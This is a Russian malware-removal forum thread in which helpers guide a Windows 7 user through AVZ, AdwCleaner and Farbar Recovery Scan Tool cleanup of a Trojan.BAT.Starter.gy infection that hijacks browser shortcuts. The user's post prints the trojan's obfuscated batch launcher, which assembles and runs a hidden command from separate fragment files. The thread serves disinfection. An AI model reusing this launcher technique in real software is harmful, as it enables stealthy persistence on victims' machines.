ярлык браузера ссылается на bat файл [Trojan.BAT.Starter.gy ]

Доброго времени суток, помогите избавиться от зловреда

windows 7 Домашняя расширенная 64bit

в папке C:\ProgramData создано несколько папок название которых - бессмысленный набор символов (например AfYltPrZbzZLP)
содержимое файла bat:
[CODE]chcp 65001 >NUL
call :UtmlIQfpaSNP BlNIpL
"RHJBcm9IU2hnVQ=="
call :UtmlIQfpaSNP MFWLweNlX
"RkZGT3pCaE9xTVRz"
call :UtmlIQfpaSNP nRLteskxAAVOJd
"eENOcnZ6ZnBkTw=="
call :UtmlIQfpaSNP uqSFouGn
"U3JmRGpCQ1V4ZVFs"
call :UtmlIQfpaSNP dRIWtPaINb
"ZGFyZEx4S1M="
call :UtmlIQfpaSNP gsyCVKFW
"ZUJwSFNGdXVob1M="
chcp 866 >NUL
%BlNIpL%%MFWLweNlX%%nRLteskxAAVOJd%%uqSFouGn%%dRIWtPaINb%%gsyCVKFW%
EXIT /B
:UtmlIQfpaSNP
set /p %~1=<"%~dp0%~1"
goto:eof[/CODE]

Уважаемый(ая) [B]Читатель Текстов[/B], спасибо за обращение на наш форум!

Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в [URL="http://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="http://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

AdwCleaner[S1].txt
Check_Browsers_LNK.log

[B]Обновите базы AVZ[/B] ("Файл" -> "Обновление баз").

[url="http://virusinfo.info/showthread.php?t=7239"]Выполните скрипт в AVZ[/url]:[code]begin
ExecuteAVUpdate;
TerminateProcessByName('c:\users\Пользователь\appdata\roaming\driverrevolution\driverrevolution.exe');
TerminateProcessByName('c:\users\Пользователь\appdata\local\mail.ru\mailruupdater.exe');
TerminateProcessByName('c:\program files (x86)\mail.ru\mailruupdater\mailruupdater.exe');
TerminateProcessByName('C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\mpam-7c876a3b.exe');
TerminateProcessByName('c:\users\Пользователь\appdata\roaming\texteditor\daemon\texteditor.exe');
StopService('Updater.Mail.Ru');
QuarantineFile('c:\users\Пользователь\appdata\local\mail.ru\mailruupdater.exe', '');
QuarantineFile('c:\program files (x86)\mail.ru\mailruupdater\mailruupdater.exe', '');
QuarantineFile('C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\mpam-7c876a3b.exe', '');
QuarantineFile('c:\users\Пользователь\appdata\roaming\texteditor\daemon\texteditor.exe', '');
QuarantineFile('C:\Program Files (x86)\Mail.Ru\Guard\GuardMailRu.exe', '');
QuarantineFile('C:\ProgramData\nkhSKoUOMp\fxVZmceYBVmqHc0.bat', '');
QuarantineFile('C:\Users\Пользователь\AppData\Local\rIbVsTnFqZGY\pKRDdxDfqLNvNjE1.bat', '');
QuarantineFile('C:\Program Files (x86)\Radio_W\prxtbRad1.dll', '');
QuarantineFile('C:\Users\73B5~1\AppData\Local\Temp\mediaget-installer-tmp\yandex-downloader.exe', '');
QuarantineFile('C:\Users\Пользователь\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Yandex.lnk', '');
QuarantineFile('C:\Users\Пользователь\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk', '');
DeleteFile('c:\users\Пользователь\appdata\roaming\driverrevolution\driverrevolution.exe', '32');
DeleteFile('c:\users\Пользователь\appdata\local\mail.ru\mailruupdater.exe', '32');
DeleteFile('c:\program files (x86)\mail.ru\mailruupdater\mailruupdater.exe', '32');
DeleteFile('C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\mpam-7c876a3b.exe', '32');
DeleteFile('c:\users\Пользователь\appdata\roaming\texteditor\daemon\texteditor.exe', '32');
DeleteFile('C:\Program Files (x86)\Mail.Ru\Guard\GuardMailRu.exe', '32');
DeleteFile('C:\ProgramData\nkhSKoUOMp\fxVZmceYBVmqHc0.bat', '32');
DeleteFile('C:\Users\Пользователь\AppData\Local\rIbVsTnFqZGY\pKRDdxDfqLNvNjE1.bat', '32');
DeleteFile('C:\Program Files (x86)\Radio_W\prxtbRad1.dll', '32');
DeleteFile('C:\Users\73B5~1\AppData\Local\Temp\mediaget-installer-tmp\yandex-downloader.exe', '32');
DeleteService('Updater.Mail.Ru');
DeleteFileMask('c:\users\Пользователь\appdata\roaming\driverrevolution', '*', true);
DeleteFileMask('c:\users\Пользователь\appdata\local\mail.ru', '*', true);
DeleteFileMask('c:\program files (x86)\mail.ru', '*', true);
DeleteFileMask('c:\users\Пользователь\appdata\roaming\texteditor', '*', true);
DeleteFileMask('C:\Program Files (x86)\Radio_W', '*', true);
DeleteDirectory('c:\users\Пользователь\appdata\roaming\driverrevolution');
DeleteDirectory('c:\users\Пользователь\appdata\local\mail.ru');
DeleteDirectory('c:\program files (x86)\mail.ru');
DeleteDirectory('c:\users\Пользователь\appdata\roaming\texteditor');
DeleteDirectory('C:\Program Files (x86)\Radio_W');
DelBHO('{b4efb02b-cd4a-44b9-b5d9-aa486cdffab6}');
ExecuteFile('schtasks.exe', '/delete /TN "MailRuUpdater" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "{DD3CD3C9-29A3-483E-965B-3748186306AE}" /F', 0, 15000, true);
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'Guard.Mail.ru.gui');
RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'TextEditor');
RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'MailRuUpdater');
RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'DriverRevolution Updater');
RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'EmotionsBarTray');
ExecuteSysClean;
ExecuteWizard('SCU', 2, 2, true);
RebootWindows(true);
end.[/code]Компьютер перезагрузится.
Выполните в AVZ скрипт:
[CODE]begin
CreateQurantineArchive(GetAVZDirectory+'quarantine.zip');
end.[/CODE]
В папке с AVZ появится архив карантина quarantine.zip, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

Перетащите лог Check_Browsers_LNK.log на [url=http://dragokas.com/tools/ClearLNK.zip]утилиту ClearLNK[/url]. Отчёт о работе прикрепите.

Обновите AdwCleaner до текущей версии и сделайте новый лог.

благодарю за помощь, карантин прислал

Результат загрузки

Файл сохранён как 160314_181433_quarantine_56e6d55953688.zip
Размер файла 5769859
MD5 d9454fd53521463fb2ebf89693dd8136

Файл закачан, спасибо!

Запустите повторно [B]AdwCleaner (by Xplode) [/B](в [B]Windows Vista/7/8[/B] необходимо запускать через правую кнопку мыши [B]от имени администратора)[/B]), нажмите кнопку [B]Сканировать[/B] (Scan), по окончании сканирования уберите галочки на вкладках [B]Папки[/B] (Folders) и [B]Реестр[/B] (Registry) со всех пунктов, где упоминаются Mail.Ru и MediaGet [B]только если используете соответствующие программы[/B].

Установите в пункте меню "Настройки" (Settings) галочку "[B]Сброс политик Chrome[/B]" .
Затем нажмите [B]Очистка[/B] ([B]Cleaning[/B]) и по окончании удаления перезагрузите систему по требованию программы.

После входа в систему откроется отчёт AdwCleaner - файл AdwCleaner[C1].txt, прикрепите к своему следующему сообщению.

[URL="http://virusinfo.info/showthread.php?t=128635"]Очистите кэш и cookies-файлы браузеров[/URL] и сообщите, что с проблемами.

рекомендации выполнил
ярлыки изменились на штатные
папки из C:\ProgramData с неадекватными названиями (например nkhSKoUOMp LiYTvUs VOQjtHgYMIbHvJK sfiZTRcShKq tcRwQsbziT и т.п.) удалить руками?

Подчистим вместе с другими остатками.

Скачайте [URL="http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/"]Farbar Recovery Scan Tool[/URL] и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (можно все в одном архиве).

прикрепил

Откройте Блокнот (Старт =>Программы => Стандартные => Блокнот). Скопируйте в него следующий код:[CODE]CreateRestorePoint:
SearchScopes: HKLM-x32 -> DefaultScope {4B79824D-5DC8-4951-8B6C-DD7AB1B83A3B} URL = hxxp://goods.marketgid.com/search?query={searchTerms}
SearchScopes: HKLM-x32 -> {4B79824D-5DC8-4951-8B6C-DD7AB1B83A3B} URL = hxxp://goods.marketgid.com/search?query={searchTerms}
SearchScopes: HKU\S-1-5-21-320630658-4118632843-1364559460-1000 -> DefaultScope {FFEBBF0A-C22C-4172-89FF-45215A135AC7} URL = hxxp://go.mail.ru/distib/ep/?q={SearchTerms}&product_id=%7B313714C0-AD29-4367-B66A-CA663AD0C1DB%7D&gp=820035
SearchScopes: HKU\S-1-5-21-320630658-4118632843-1364559460-1000 -> {4B79824D-5DC8-4951-8B6C-DD7AB1B83A3B} URL = hxxp://goods.marketgid.com/search?query={searchTerms}
SearchScopes: HKU\S-1-5-21-320630658-4118632843-1364559460-1000 -> {B3CAE21C-38B2-40E2-910B-979CB6F94F47} URL = hxxp://www.zinio.com/search/index.jsp?s={searchTerms}&rf=sonyie8search
SearchScopes: HKU\S-1-5-21-320630658-4118632843-1364559460-1000 -> {FFEBBF0A-C22C-4172-89FF-45215A135AC7} URL = hxxp://go.mail.ru/distib/ep/?q={SearchTerms}&product_id=%7B313714C0-AD29-4367-B66A-CA663AD0C1DB%7D&gp=820035
Toolbar: HKU\S-1-5-21-320630658-4118632843-1364559460-1000 -> No Name - {B4EFB02B-CD4A-44B9-B5D9-AA486CDFFAB6} - No File
FF DefaultSearchEngine: Поиск@Mail.Ru
FF SelectedSearchEngine: Поиск@Mail.Ru
FF Homepage: hxxp://mail.ru/cnt/10445?gp=801019
FF Keyword.URL: hxxp://go.mail.ru/distib/ep/?product_id=%7B39E06F0E-4E9E-4CAD-BC72-CABF37593C43%7D&gp=820035
FF Extension: Emotions Bar - C:\Users\Пользователь\AppData\Roaming\Mozilla\Firefox\Profiles\nahd6ha2.default\Extensions\[email protected] [2016-03-11] [not signed]
CHR HKLM-x32\...\Chrome\Extension: [eioddfaepdoeifbhjphfefgipcjcdieo] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [gbjeiekahklbgbfccohipinhgaadijad] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [geidjeefddhgefeplhdlegoldlgiodon] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [iflppbjnpneiigcbdfjpnkebidmkjmoi] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [jdfonankhfnhihdcpaagpabbaoclnjfp] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [ppoilmfkbpckodoifdlkmkepcajfjmhl] - hxxps://clients2.google.com/service/update2/crx
2016-03-06 19:38 - 2016-03-06 19:38 - 00000000 ____D C:\ProgramData\LiYTvUs
2016-03-06 19:37 - 2016-03-06 19:37 - 00000000 ____D C:\Users\Все пользователи\VOQjtHgYMIbHvJK
2016-03-06 12:17 - 2016-03-14 22:51 - 00000000 ____D C:\ProgramData\nkhSKoUOMp
2016-03-06 12:17 - 2016-03-06 12:17 - 00000000 ____D C:\Users\Все пользователи\sfiZTRcShKq
2016-03-05 14:49 - 2016-03-05 14:49 - 00000000 ____D C:\ProgramData\tcRwQsbziT
2016-03-05 10:50 - 2016-03-05 10:50 - 00000000 ____D C:\Users\Все пользователи\PMcoFnqzYXFnIvU
2016-03-05 10:50 - 2016-03-05 10:50 - 00000000 ____D C:\ProgramData\FXFkPutg
2016-03-03 21:34 - 2016-03-03 21:34 - 00000000 ____D C:\Users\Все пользователи\MnbWEMQl
2016-03-02 20:47 - 2016-03-02 20:47 - 00000000 ____D C:\Users\Все пользователи\BYheMlpLOEXLF
2016-03-02 20:47 - 2016-03-02 20:47 - 00000000 ____D C:\ProgramData\BYheMlpLOEXLF
2016-03-01 20:40 - 2016-03-01 20:40 - 00000000 ____D C:\Users\Все пользователи\rtCzubLVituue
2016-03-01 20:40 - 2016-03-01 20:40 - 00000000 ____D C:\Users\Все пользователи\lpegpvAy
2016-02-29 20:14 - 2016-02-29 20:14 - 00000000 ____D C:\ProgramData\lIJpBqnvIjAEi
2016-02-29 20:08 - 2016-02-29 20:08 - 00000000 ____D C:\Users\Все пользователи\sKecIGXlpKd
2016-02-29 20:08 - 2016-02-29 20:08 - 00000000 ____D C:\Users\Все пользователи\luieNWjSTwHanGf
2016-02-28 15:17 - 2016-02-28 15:17 - 00000000 ____D C:\ProgramData\inpBbZ
2016-02-28 15:16 - 2016-02-28 15:16 - 00000000 ____D C:\Users\Все пользователи\LYDFcCpsyA
2016-02-28 10:48 - 2016-02-28 10:48 - 00000000 ____D C:\ProgramData\uDYVHLmDBNo
2016-02-28 10:48 - 2016-02-28 10:48 - 00000000 ____D C:\ProgramData\PulXKfGx
2016-02-27 10:35 - 2016-02-27 10:35 - 00000000 ____D C:\Users\Все пользователи\IwyWeKCZGV
2016-02-27 10:35 - 2016-02-27 10:35 - 00000000 ____D C:\Users\Все пользователи\fzRqjHHKDO
2016-02-25 22:12 - 2016-02-25 22:12 - 00000000 ____D C:\ProgramData\WAJXkvOOsigWFSU
2016-02-25 22:12 - 2016-02-25 22:12 - 00000000 ____D C:\ProgramData\nPVNLPn
2016-02-24 22:45 - 2016-02-24 22:45 - 00000000 ____D C:\Users\Все пользователи\dbUAmMKvSLbKd
2016-02-24 22:45 - 2016-02-24 22:45 - 00000000 ____D C:\ProgramData\dbUAmMKvSLbKd
2016-02-24 21:39 - 2016-02-24 21:39 - 00000000 ____D C:\Users\Все пользователи\ncoZgaQ
2016-02-24 21:39 - 2016-02-24 21:39 - 00000000 ____D C:\Users\Все пользователи\AJcAcgxKfzhuk
2016-02-23 23:39 - 2016-02-23 23:39 - 00000000 ____D C:\ProgramData\ydNlhAbg
2016-02-23 23:39 - 2016-02-23 23:39 - 00000000 ____D C:\ProgramData\EUOvaztKrvX
2016-02-23 10:15 - 2016-02-23 10:15 - 00000000 ____D C:\Users\Все пользователи\AzlGOkTPX
2016-02-23 10:14 - 2016-02-23 10:14 - 00000000 ____D C:\ProgramData\yMvief
2016-02-22 19:59 - 2016-02-22 19:59 - 00000000 ____D C:\Users\Все пользователи\ooNqvYd
2016-02-22 19:59 - 2016-02-22 19:59 - 00000000 ____D C:\Users\Все пользователи\MrgXGsthTQB
2016-02-22 19:59 - 2016-02-22 19:59 - 00000000 ____D C:\ProgramData\ooNqvYd
2016-02-21 22:39 - 2016-02-21 22:39 - 00000000 ____D C:\ProgramData\QtOOLtlcBAJPkC
2016-02-21 22:39 - 2016-02-21 22:39 - 00000000 ____D C:\ProgramData\IhGETHnVSyIx
2016-02-20 17:53 - 2016-02-20 17:53 - 00000000 ____D C:\ProgramData\ykqAuszfYiTntr
2016-02-20 17:52 - 2016-02-20 17:52 - 00000000 ____D C:\Users\Все пользователи\jQMIDySbPRmsT
2016-02-19 17:30 - 2016-02-19 17:30 - 00000000 ____D C:\ProgramData\IoMyzYhpmUL
2016-02-19 17:30 - 2016-02-19 17:30 - 00000000 ____D C:\ProgramData\EDcdFmfPUg
2016-02-17 21:22 - 2016-02-17 21:23 - 00000000 ____D C:\ProgramData\phNpQEbSxaPOCA
2016-02-17 21:22 - 2016-02-17 21:22 - 00000000 ____D C:\ProgramData\DebeTYMHVb
2016-03-05 21:34 - 2014-01-18 14:35 - 00000000 ____D C:\ProgramData\34BE82C4-E596-4e99-A191-52C6199EBF69
2015-12-04 10:20 - 2015-12-04 10:20 - 0000000 _____ () C:\Users\Пользователь\AppData\Local\{2B23F5C8-94B1-4052-912A-44934B981220}
2011-10-26 13:54 - 2011-10-26 13:54 - 0000000 _____ () C:\Users\Пользователь\AppData\Local\{A9BD15EB-C028-4578-BB76-06FBB33D6D41}
Reg: reg delete "HKU\S-1-5-21-320630658-4118632843-1364559460-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall\TextEditor" /f
Reboot:[/CODE]
и сохраните как fixlist.txt в папку с Farbar Recovery Scan Tool.
Отключите до перезагрузки антивирус, [U]закройте все браузеры[/U], запустите FRST, нажмите [B]Fix[/B] и подождите. Программа создаст лог-файл ([B]Fixlog.txt[/B]). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]1[/B][*]Обработано файлов: [B]7[/B][*]В ходе лечения обнаружены вредоносные программы:
[LIST=1][*] c:\programdata\nkhskouomp\fxvzmceybvmqhc0.bat - [B]Trojan.BAT.Starter.gy[/B][*] c:\users\пользователь\appdata\local\ribvstnfqzgy\pkrddxdfqlnvnje1.bat - [B]Trojan.BAT.Starter.gy[/B][/LIST][/LIST]